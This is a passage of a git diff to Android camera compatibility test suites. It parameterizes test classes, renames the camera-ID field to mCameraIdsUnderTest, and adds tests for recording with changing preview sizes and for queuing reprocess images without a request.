     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -33,26 +40,31 @@
         Log.i("NativeImageReaderTest", "after loadlibrary");
     }
 
+    @Test
     public void testJpeg() {
         assertTrue("testJpeg fail, see log for details",
                 testJpegNative(mDebugFileNameBase));
     }
 
+    @Test
     public void testY8() {
         assertTrue("testY8 fail, see log for details",
                 testY8Native(mDebugFileNameBase));
     }
 
+    @Test
     public void testHeic() {
         assertTrue("testHeic fail, see log for details",
                 testHeicNative(mDebugFileNameBase));
     }
 
+    @Test
     public void testDepthJpeg() {
         assertTrue("testDepthJpeg fail, see log for details",
                 testDepthJpegNative(mDebugFileNameBase));
     }
 
+    @Test
     public void testImageReaderCloseAcquiredImages() {
         assertTrue("testImageReaderClose fail, see log for details",
                 testImageReaderCloseAcquiredImagesNative());
diff --git a/tests/camera/src/android/hardware/camera2/cts/NativeStillCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/NativeStillCaptureTest.java
index a892970..a778f7d 100644
--- a/tests/camera/src/android/hardware/camera2/cts/NativeStillCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/NativeStillCaptureTest.java
@@ -21,6 +21,8 @@
 import android.util.Size;
 import android.view.Surface;
 
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
 import org.junit.Test;
 
 import static org.junit.Assert.assertTrue;
@@ -28,6 +30,8 @@
 /**
  * <p>Basic test for CameraManager class.</p>
  */
+
+@RunWith(Parameterized.class)
 public class NativeStillCaptureTest extends Camera2SurfaceViewTestCase {
     private static final String TAG = "NativeStillCaptureTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
index 2d6cb0a..0616433 100644
--- a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
@@ -36,7 +36,7 @@
 import android.hardware.camera2.cts.CameraTestUtils.SimpleImageReaderListener;
 import android.hardware.camera2.cts.helpers.StaticMetadata;
 import android.hardware.camera2.cts.helpers.StaticMetadata.CheckLevel;
-import android.hardware.camera2.cts.testcases.Camera2AndroidTestCase;
+import android.hardware.camera2.cts.testcases.Camera2AndroidBasicTestCase;
 import android.hardware.camera2.params.InputConfiguration;
 import android.hardware.camera2.params.StreamConfigurationMap;
 import android.media.Image;
@@ -71,7 +71,7 @@
  * Test camera2 API use case performance KPIs, such as camera open time, session creation time,
  * shutter lag etc. The KPI data will be reported in cts results.
  */
-public class PerformanceTest extends Camera2AndroidTestCase {
+public class PerformanceTest extends Camera2AndroidBasicTestCase {
     private static final String TAG = "PerformanceTest";
     private static final String REPORT_LOG_NAME = "CtsCameraTestCases";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -133,10 +133,10 @@
      * </p>
      */
     public void testCameraLaunch() throws Exception {
-        double[] avgCameraLaunchTimes = new double[mCameraIds.length];
+        double[] avgCameraLaunchTimes = new double[mCameraIdsUnderTest.length];
 
         int counter = 0;
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             // Do NOT move these variables to outer scope
             // They will be passed to DeviceReportLog and their references will be stored
             String streamName = "test_camera_launch";
@@ -259,7 +259,7 @@
                         + ". Max(ms): " + Stat.getMax(cameraLaunchTimes));
             }
         }
-        if (mCameraIds.length != 0) {
+        if (mCameraIdsUnderTest.length != 0) {
             String streamName = "test_camera_launch_average";
             mReportLog = new DeviceReportLog(REPORT_LOG_NAME, streamName);
             mReportLog.setSummary("camera_launch_average_time_for_all_cameras",
@@ -309,10 +309,10 @@
 
     private void testSingleCaptureForFormat(int[] formats, String formatDescription,
             boolean addPreviewDelay) throws Exception {
-        double[] avgResultTimes = new double[mCameraIds.length];
+        double[] avgResultTimes = new double[mCameraIdsUnderTest.length];
 
         int counter = 0;
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             // Do NOT move these variables to outer scope
             // They will be passed to DeviceReportLog and their references will be stored
             String streamName = appendFormatDescription("test_single_capture", formatDescription);
@@ -448,7 +448,7 @@
         }
 
         // Result will not be reported in CTS report if no summary is printed.
-        if (mCameraIds.length != 0) {
+        if (mCameraIdsUnderTest.length != 0) {
             String streamName = appendFormatDescription("test_single_capture_average",
                     formatDescription);
             mReportLog = new DeviceReportLog(REPORT_LOG_NAME, streamName);
@@ -470,8 +470,8 @@
      * </p>
      */
     public void testMultipleCapture() throws Exception {
-        double[] avgResultTimes = new double[mCameraIds.length];
-        double[] avgDurationMs = new double[mCameraIds.length];
+        double[] avgResultTimes = new double[mCameraIdsUnderTest.length];
+        double[] avgDurationMs = new double[mCameraIdsUnderTest.length];
 
         // A simple CaptureSession StateCallback to handle onCaptureQueueEmpty
         class MultipleCaptureStateCallback extends CameraCaptureSession.StateCallback {
@@ -520,7 +520,7 @@
         final MultipleCaptureStateCallback sessionListener = new MultipleCaptureStateCallback();
 
         int counter = 0;
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             // Do NOT move these variables to outer scope
             // They will be passed to DeviceReportLog and their references will be stored
             String streamName = "test_multiple_capture";
@@ -657,7 +657,7 @@
         }
 
         // Result will not be reported in CTS report if no summary is printed.
-        if (mCameraIds.length != 0) {
+        if (mCameraIdsUnderTest.length != 0) {
             String streamName = "test_multiple_capture_average";
             mReportLog = new DeviceReportLog(REPORT_LOG_NAME, streamName);
             mReportLog.setSummary("camera_multiple_capture_result_average_latency_for_all_cameras",
@@ -675,7 +675,7 @@
      * a reprocess request is issued to the time the reprocess image is returned.
      */
     public void testReprocessingLatency() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             for (int format : REPROCESS_FORMATS) {
                 if (!isReprocessSupported(id, format)) {
                     continue;
@@ -705,7 +705,7 @@
      *
      */
     public void testReprocessingThroughput() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             for (int format : REPROCESS_FORMATS) {
                 if (!isReprocessSupported(id, format)) {
                     continue;
@@ -734,7 +734,7 @@
      * time a reprocess request is issued to the time the reprocess image is returned.
      */
     public void testHighQualityReprocessingLatency() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             for (int format : REPROCESS_FORMATS) {
                 if (!isReprocessSupported(id, format)) {
                     continue;
@@ -764,7 +764,7 @@
      *
      */
     public void testHighQualityReprocessingThroughput() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             for (int format : REPROCESS_FORMATS) {
                 if (!isReprocessSupported(id, format)) {
                     continue;
@@ -792,7 +792,7 @@
      * Testing reprocessing caused preview stall (frame drops)
      */
     public void testReprocessingCaptureStall() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             for (int format : REPROCESS_FORMATS) {
                 if (!isReprocessSupported(id, format)) {
                     continue;
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index c61071e..30d1943 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -55,6 +55,8 @@
 
 import junit.framework.AssertionFailedError;
 
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
 import org.junit.Test;
 
 import java.io.File;
@@ -69,6 +71,7 @@
  * MediaCodec.
  */
 @LargeTest
+@RunWith(Parameterized.class)
 public class RecordingTest extends Camera2SurfaceViewTestCase {
     private static final String TAG = "RecordingTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -131,25 +134,25 @@
 
     private void doBasicRecording(boolean useVideoStab, boolean useIntermediateSurface)
             throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                Log.i(TAG, "Testing basic recording for camera " + mCameraIds[i]);
-                StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIds[i]);
+                Log.i(TAG, "Testing basic recording for camera " + mCameraIdsUnderTest[i]);
+                StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIdsUnderTest[i]);
                 if (!staticInfo.isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
 
                 // External camera doesn't support CamcorderProfile recording
                 if (staticInfo.isExternalCamera()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support CamcorderProfile, skipping");
                     continue;
                 }
 
                 if (!staticInfo.isVideoStabilizationSupported() && useVideoStab) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support video stabilization, skipping the stabilization"
                             + " test");
                     continue;
@@ -157,8 +160,8 @@
 
                 // Re-use the MediaRecorder object for the same camera device.
                 mMediaRecorder = new MediaRecorder();
-                openDevice(mCameraIds[i]);
-                initSupportedVideoSize(mCameraIds[i]);
+                openDevice(mCameraIdsUnderTest[i]);
+                initSupportedVideoSize(mCameraIdsUnderTest[i]);
 
                 basicRecordingTestByCamera(mCamcorderProfileList, useVideoStab,
                         useIntermediateSurface);
@@ -256,19 +259,19 @@
      */
     @Test(timeout=60*60*1000) // timeout = 60 mins for long running tests
     public void testSupportedVideoSizes() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                Log.i(TAG, "Testing supported video size recording for camera " + mCameraIds[i]);
-                if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                Log.i(TAG, "Testing supported video size recording for camera " + mCameraIdsUnderTest[i]);
+                if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
                 // Re-use the MediaRecorder object for the same camera device.
                 mMediaRecorder = new MediaRecorder();
-                openDevice(mCameraIds[i]);
+                openDevice(mCameraIdsUnderTest[i]);
 
-                initSupportedVideoSize(mCameraIds[i]);
+                initSupportedVideoSize(mCameraIdsUnderTest[i]);
 
                 recordingSizeTestByCamera();
             } finally {
@@ -357,7 +360,7 @@
 
     @Test
     public void testAbandonedHighSpeedRequest() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing bad suface for createHighSpeedRequestList for camera " + id);
                 StaticMetadata staticInfo = mAllStaticInfo.get(id);
@@ -479,25 +482,25 @@
      */
     @Test
     public void testRecordingFramerateLowToHigh() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                Log.i(TAG, "Testing basic recording for camera " + mCameraIds[i]);
-                StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIds[i]);
+                Log.i(TAG, "Testing recording framerate low to high for camera " + mCameraIdsUnderTest[i]);
+                StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIdsUnderTest[i]);
                 if (!staticInfo.isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
                 if (staticInfo.isExternalCamera()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support CamcorderProfile, skipping");
                     continue;
                 }
                 // Re-use the MediaRecorder object for the same camera device.
                 mMediaRecorder = new MediaRecorder();
-                openDevice(mCameraIds[i]);
+                openDevice(mCameraIdsUnderTest[i]);
 
-                initSupportedVideoSize(mCameraIds[i]);
+                initSupportedVideoSize(mCameraIdsUnderTest[i]);
 
                 int minFpsProfileId = -1, minFps = 1000;
                 int maxFpsProfileId = -1, maxFps = 0;
@@ -534,23 +537,23 @@
      */
     @Test
     public void testVideoPreviewSurfaceSharing() throws Exception {
-        for (int i = 0; i < mCameraIds.length; i++) {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
             try {
-                StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIds[i]);
+                StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIdsUnderTest[i]);
                 if (staticInfo.isHardwareLevelLegacy()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] + " is legacy, skipping");
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] + " is legacy, skipping");
                     continue;
                 }
                 if (!staticInfo.isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
                 // Re-use the MediaRecorder object for the same camera device.
                 mMediaRecorder = new MediaRecorder();
-                openDevice(mCameraIds[i]);
+                openDevice(mCameraIdsUnderTest[i]);
 
-                initSupportedVideoSize(mCameraIds[i]);
+                initSupportedVideoSize(mCameraIdsUnderTest[i]);
 
                 videoPreviewSurfaceSharingTestByCamera();
             } finally {
@@ -561,6 +564,128 @@
     }
 
     /**
+     * <p>
+     * Test recording with same recording surface and different preview surfaces.
+     * </p>
+     * <p>
+     * This test maintains persistent video surface while changing preview surface.
+     * This exercises format/dataspace override behavior of the camera device.
+     * </p>
+     */
+    @Test
+    public void testRecordingWithDifferentPreviewSizes() throws Exception {
+        if (!MediaUtils.checkCodecForDomain(true /* encoder */, "video")) {
+            return; // skipped
+        }
+        mPersistentSurface = MediaCodec.createPersistentInputSurface();
+        assertNotNull("Failed to create persistent input surface!", mPersistentSurface);
+
+        try {
+            doRecordingWithDifferentPreviewSizes();
+        } finally {
+            mPersistentSurface.release();
+            mPersistentSurface = null;
+        }
+    }
+
+    public void doRecordingWithDifferentPreviewSizes() throws Exception {
+        for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
+            try {
+                Log.i(TAG, "Testing recording with different preview sizes for camera " +
+                        mCameraIdsUnderTest[i]);
+                StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIdsUnderTest[i]);
+                if (!staticInfo.isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
+                            " does not support color outputs, skipping");
+                    continue;
+                }
+                if (staticInfo.isExternalCamera()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
+                            " does not support CamcorderProfile, skipping");
+                    continue;
+                }
+                // Re-use the MediaRecorder object for the same camera device.
+                mMediaRecorder = new MediaRecorder();
+                openDevice(mCameraIdsUnderTest[i]);
+
+                initSupportedVideoSize(mCameraIdsUnderTest[i]);
+
+                Size maxPreviewSize = mOrderedPreviewSizes.get(0);
+                List<Range<Integer> > fpsRanges = Arrays.asList(
+                        mStaticInfo.getAeAvailableTargetFpsRangesChecked());
+                int cameraId = Integer.valueOf(mCamera.getId());
+                int maxVideoFrameRate = -1;
+                for (int profileId : mCamcorderProfileList) {
+                    if (!CamcorderProfile.hasProfile(cameraId, profileId)) {
+                        continue;
+                    }
+                    CamcorderProfile profile = CamcorderProfile.get(cameraId, profileId);
+
+                    Size videoSz = new Size(profile.videoFrameWidth, profile.videoFrameHeight);
+                    Range<Integer> fpsRange = new Range(
+                            profile.videoFrameRate, profile.videoFrameRate);
+                    if (maxVideoFrameRate < profile.videoFrameRate) {
+                        maxVideoFrameRate = profile.videoFrameRate;
+                    }
+
+                    if (allowedUnsupported(cameraId, profileId)) {
+                        continue;
+                    }
+
+                    if (mStaticInfo.isHardwareLevelLegacy() &&
+                            (videoSz.getWidth() > maxPreviewSize.getWidth() ||
+                             videoSz.getHeight() > maxPreviewSize.getHeight())) {
+                        // Skip. Legacy mode can only do recording up to max preview size
+                        continue;
+                    }
+                    assertTrue("Video size " + videoSz.toString() + " for profile ID " + profileId +
+                                    " must be one of the camera device supported video size!",
+                                    mSupportedVideoSizes.contains(videoSz));
+                    assertTrue("Frame rate range " + fpsRange + " (for profile ID " + profileId +
+                            ") must be one of the camera device available FPS range!",
+                            fpsRanges.contains(fpsRange));
+
+                    // Configure preview and recording surfaces.
+                    mOutMediaFileName = mDebugFileNameBase + "/test_video_surface_reconfig.mp4";
+
+                    // prepare preview surface by using video size.
+                    List<Size> previewSizes = getPreviewSizesForVideo(videoSz,
+                            profile.videoFrameRate);
+                    if (previewSizes.size() <= 1) {
+                        continue;
+                    }
+
+                    // 1. Do video recording using largest compatbile preview sizes
+                    prepareRecordingWithProfile(profile);
+                    updatePreviewSurface(previewSizes.get(0));
+                    SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
+                    startRecording(
+                            /* useMediaRecorder */true, resultListener,
+                            /*useVideoStab*/false, fpsRange, false);
+                    SystemClock.sleep(RECORDING_DURATION_MS);
+                    stopRecording(/* useMediaRecorder */true, /* useIntermediateSurface */false,
+                            /* stopStreaming */false);
+
+                    // 2. Reconfigure with the same recording surface, but switch to a smaller
+                    // preview size.
+                    prepareRecordingWithProfile(profile);
+                    updatePreviewSurface(previewSizes.get(1));
+                    SimpleCaptureCallback resultListener2 = new SimpleCaptureCallback();
+                    startRecording(
+                            /* useMediaRecorder */true, resultListener2,
+                            /*useVideoStab*/false, fpsRange, false);
+                    SystemClock.sleep(RECORDING_DURATION_MS);
+                    stopRecording(/* useMediaRecorder */true);
+                    break;
+                }
+            } finally {
+                closeDevice();
+                releaseRecorder();
+            }
+        }
+    }
+
+    /**
      * Test camera preview and video surface sharing for maximum supported size.
      */
     private void videoPreviewSurfaceSharingTestByCamera() throws Exception {
@@ -652,7 +777,7 @@
      * </p>
      */
     private void slowMotionRecording() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing slow motion recording for camera " + id);
                 StaticMetadata staticInfo = mAllStaticInfo.get(id);
@@ -727,7 +852,7 @@
     }
 
     private void constrainedHighSpeedRecording() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing constrained high speed recording for camera " + id);
 
@@ -1027,7 +1152,8 @@
             SystemClock.sleep(RECORDING_DURATION_MS);
 
             // Stop recording and preview
-            stopRecording(/* useMediaRecorder */true, useIntermediateSurface);
+            stopRecording(/* useMediaRecorder */true, useIntermediateSurface,
+                    /* stopCameraStreaming */false);
             // Convert number of frames camera produced into the duration in unit of ms.
             float frameDurationMs = 1000.0f / profile.videoFrameRate;
             float durationMs = 0.f;
@@ -1142,7 +1268,7 @@
      * Simple wrapper to wrap normal/burst video snapshot tests
      */
     private void videoSnapshotHelper(boolean burstTest) throws Exception {
-            for (String id : mCameraIds) {
+            for (String id : mCameraIdsUnderTest) {
                 try {
                     Log.i(TAG, "Testing video snapshot for camera " + id);
 
@@ -1478,15 +1604,14 @@
     }
 
     /**
-     * Update preview size with video size.
+     * Find compatible preview sizes for video size and framerate.
      *
      * <p>Preview size will be capped with max preview size.</p>
      *
      * @param videoSize The video size used for preview.
      * @param videoFrameRate The video frame rate
-     *
      */
-    private void updatePreviewSurfaceWithVideo(Size videoSize, int videoFrameRate) {
+    private List<Size> getPreviewSizesForVideo(Size videoSize, int videoFrameRate) {
         if (mOrderedPreviewSizes == null) {
             throw new IllegalStateException("supported preview size list is not initialized yet");
         }
@@ -1496,7 +1621,7 @@
         HashMap<Size, Long> minFrameDurationMap = mStaticInfo.
                 getAvailableMinFrameDurationsForFormatChecked(ImageFormat.PRIVATE);
         Size maxPreviewSize = mOrderedPreviewSizes.get(0);
-        Size previewSize = null;
+        ArrayList<Size> previewSizes = new ArrayList<>();
         if (videoSize.getWidth() > maxPreviewSize.getWidth() ||
                 videoSize.getHeight() > maxPreviewSize.getHeight()) {
             for (Size s : mOrderedPreviewSizes) {
@@ -1510,18 +1635,32 @@
                 if (frameDuration <= videoFrameDuration &&
                         s.getWidth() <= videoSize.getWidth() &&
                         s.getHeight() <= videoSize.getHeight()) {
-                    Log.w(TAG, "Overwrite preview size from " + videoSize.toString() +
-                            " to " + s.toString());
-                    previewSize = s;
-                    break;
-                    // If all preview size doesn't work then we fallback to video size
+                    Log.v(TAG, "Add preview size " + s.toString() + " for video size " +
+                            videoSize.toString());
+                    previewSizes.add(s);
                 }
             }
         }
-        if (previewSize == null) {
-            previewSize = videoSize;
+
+        if (previewSizes.isEmpty()) {
+            previewSizes.add(videoSize);
         }
-        updatePreviewSurface(previewSize);
+
+        return previewSizes;
+    }
+
+    /**
+     * Update preview size with video size.
+     *
+     * <p>Preview size will be capped with max preview size.</p>
+     *
+     * @param videoSize The video size used for preview.
+     * @param videoFrameRate The video frame rate
+     *
+     */
+    private void updatePreviewSurfaceWithVideo(Size videoSize, int videoFrameRate) {
+        List<Size> previewSizes = getPreviewSizesForVideo(videoSize, videoFrameRate);
+        updatePreviewSurface(previewSizes.get(0));
     }
 
     private void prepareRecordingWithProfile(CamcorderProfile profile) throws Exception {
@@ -1734,15 +1873,18 @@
     }
 
     private int stopRecording(boolean useMediaRecorder) throws Exception {
-        return stopRecording(useMediaRecorder, false);
+        return stopRecording(useMediaRecorder, /*useIntermediateSurface*/false,
+                /*stopStreaming*/true);
     }
 
     // Stop recording and return the estimated video duration in milliseconds.
-    private int stopRecording(boolean useMediaRecorder, boolean useIntermediateSurface)
-            throws Exception {
+    private int stopRecording(boolean useMediaRecorder, boolean useIntermediateSurface,
+            boolean stopStreaming) throws Exception {
         long stopRecordingTime = SystemClock.elapsedRealtime();
         if (useMediaRecorder) {
-            stopCameraStreaming();
+            if (stopStreaming) {
+                stopCameraStreaming();
+            }
             if (useIntermediateSurface) {
                 mIntermediateReader.setOnImageAvailableListener(null, null);
                 mQueuer.expectInvalidSurface();
diff --git a/tests/camera/src/android/hardware/camera2/cts/ReprocessCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/ReprocessCaptureTest.java
index bdf98f5..e59b161 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ReprocessCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ReprocessCaptureTest.java
@@ -43,11 +43,15 @@
 import java.util.ArrayList;
 import java.util.List;
 
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
 import org.junit.Test;
 
 /**
  * <p>Tests for Reprocess API.</p>
  */
+
+@RunWith(Parameterized.class)
 public class ReprocessCaptureTest extends Camera2SurfaceViewTestCase  {
     private static final String TAG = "ReprocessCaptureTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -90,7 +94,7 @@
      */
     @Test
     public void testBasicYuvToYuvReprocessing() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             if (!isYuvReprocessSupported(id)) {
                 continue;
             }
@@ -105,7 +109,7 @@
      */
     @Test
     public void testBasicYuvToJpegReprocessing() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             if (!isYuvReprocessSupported(id)) {
                 continue;
             }
@@ -120,7 +124,7 @@
      */
     @Test
     public void testBasicYuvToHeicReprocessing() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             if (!isYuvReprocessSupported(id)) {
                 continue;
             }
@@ -138,7 +142,7 @@
      */
     @Test
     public void testBasicOpaqueToYuvReprocessing() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             if (!isOpaqueReprocessSupported(id)) {
                 continue;
             }
@@ -153,7 +157,7 @@
      */
     @Test
     public void testBasicOpaqueToJpegReprocessing() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             if (!isOpaqueReprocessSupported(id)) {
                 continue;
             }
@@ -168,7 +172,7 @@
      */
     @Test
     public void testBasicOpaqueToHeicReprocessing() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             if (!isOpaqueReprocessSupported(id)) {
                 continue;
             }
@@ -186,7 +190,7 @@
      */
     @Test(timeout=400*60*1000) // timeout = 400 mins for long running reprocessing tests
     public void testReprocessingSizeFormat() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             if (!isYuvReprocessSupported(id) && !isOpaqueReprocessSupported(id)) {
                 continue;
             }
@@ -208,7 +212,7 @@
      */
     @Test(timeout=400*60*1000) // timeout = 400 mins for long running reprocessing tests
     public void testReprocessingSizeFormatWithPreview() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             if (!isYuvReprocessSupported(id) && !isOpaqueReprocessSupported(id)) {
                 continue;
             }
@@ -229,7 +233,7 @@
      */
     @Test
     public void testRecreateReprocessingSessions() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             if (!isYuvReprocessSupported(id) && !isOpaqueReprocessSupported(id)) {
                 continue;
             }
@@ -267,7 +271,7 @@
      */
     @Test
     public void testCrossSessionCaptureException() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             // Test one supported input format -> JPEG
             int inputFormat;
             int reprocessOutputFormat = ImageFormat.JPEG;
@@ -333,11 +337,78 @@
     }
 
     /**
+     * Verify queued input images are cleared in new reprocessable capture session.
+     *
+     * This tests the case where an application receives onCaptureBufferLost() for an
+     * output stream, resulting in pending input buffers not having corresponding request.
+     *
+     * For subsequent new reprocessable capture session, ImageWriter.queueInputBuffer may become
+     * stuck due to stale buffers from previous session.
+     */
+    @Test
+    public void testQueueImageWithoutRequest() throws Exception {
+        final int MAX_IMAGES = 1;
+        final int ITERATIONS = MAX_IMAGES + 3;
+        for (String id : mCameraIdsUnderTest) {
+            // Test one supported input format -> JPEG
+            int inputFormat;
+            int reprocessOutputFormat = ImageFormat.JPEG;
+
+            if (isOpaqueReprocessSupported(id)) {
+                inputFormat = ImageFormat.PRIVATE;
+            } else if (isYuvReprocessSupported(id)) {
+                inputFormat = ImageFormat.YUV_420_888;
+            } else {
+                continue;
+            }
+
+            openDevice(id);
+
+            // Test the largest sizes
+            Size inputSize =
+                    getMaxSize(inputFormat, StaticMetadata.StreamDirection.Input);
+            Size reprocessOutputSize =
+                    getMaxSize(reprocessOutputFormat, StaticMetadata.StreamDirection.Output);
+
+            try {
+                if (VERBOSE) {
+                    Log.v(TAG, "testQueueImageWithoutRequest: cameraId: " + id +
+                            " inputSize: " + inputSize + " inputFormat: " + inputFormat +
+                            " reprocessOutputSize: " + reprocessOutputSize +
+                            " reprocessOutputFormat: " + reprocessOutputFormat);
+                }
+
+                setupImageReaders(inputSize, inputFormat, reprocessOutputSize,
+                        reprocessOutputFormat, MAX_IMAGES);
+
+                for (int i = 0; i < ITERATIONS; i++) {
+                    setupReprocessableSession(/*previewSurface*/null, /*numImageWriterImages*/1);
+
+                    TotalCaptureResult result = submitCaptureRequest(mFirstImageReader.getSurface(),
+                            /*inputResult*/null);
+                    Image image = mFirstImageReaderListener.getImage(CAPTURE_TIMEOUT_MS);
+
+                    // queue the image to image writer
+                    mImageWriter.queueInputImage(image);
+
+                    mInputSurface = null;
+                    mImageWriter.close();
+                    mImageWriter = null;
+                }
+            } finally {
+                closeReprossibleSession();
+                closeImageReaders();
+                closeDevice();
+            }
+        }
+    }
+
+    /**
      * Test burst reprocessing captures with and without preview.
      */
     @Test(timeout=400*60*1000) // timeout = 400 mins for long running reprocessing tests
     public void testBurstReprocessing() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             if (!isYuvReprocessSupported(id) && !isOpaqueReprocessSupported(id)) {
                 continue;
             }
@@ -361,7 +432,7 @@
      */
     @Test(timeout=400*60*1000) // timeout = 400 mins for long running reprocessing tests
     public void testMixedBurstReprocessing() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             if (!isYuvReprocessSupported(id) && !isOpaqueReprocessSupported(id)) {
                 continue;
             }
@@ -387,7 +458,7 @@
      */
     @Test
     public void testReprocessAbort() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             if (!isYuvReprocessSupported(id) && !isOpaqueReprocessSupported(id)) {
                 continue;
             }
@@ -417,7 +488,7 @@
      */
     @Test
     public void testReprocessTimestamps() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             if (!isYuvReprocessSupported(id) && !isOpaqueReprocessSupported(id)) {
                 continue;
             }
@@ -448,7 +519,7 @@
      */
     @Test
     public void testReprocessJpegExif() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             if (!isYuvReprocessSupported(id) && !isOpaqueReprocessSupported(id)) {
                 continue;
             }
@@ -479,7 +550,7 @@
 
     @Test
     public void testReprocessRequestKeys() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             if (!isYuvReprocessSupported(id) && !isOpaqueReprocessSupported(id)) {
                 continue;
             }
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index d108600e..e2bbb9c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -54,12 +54,18 @@
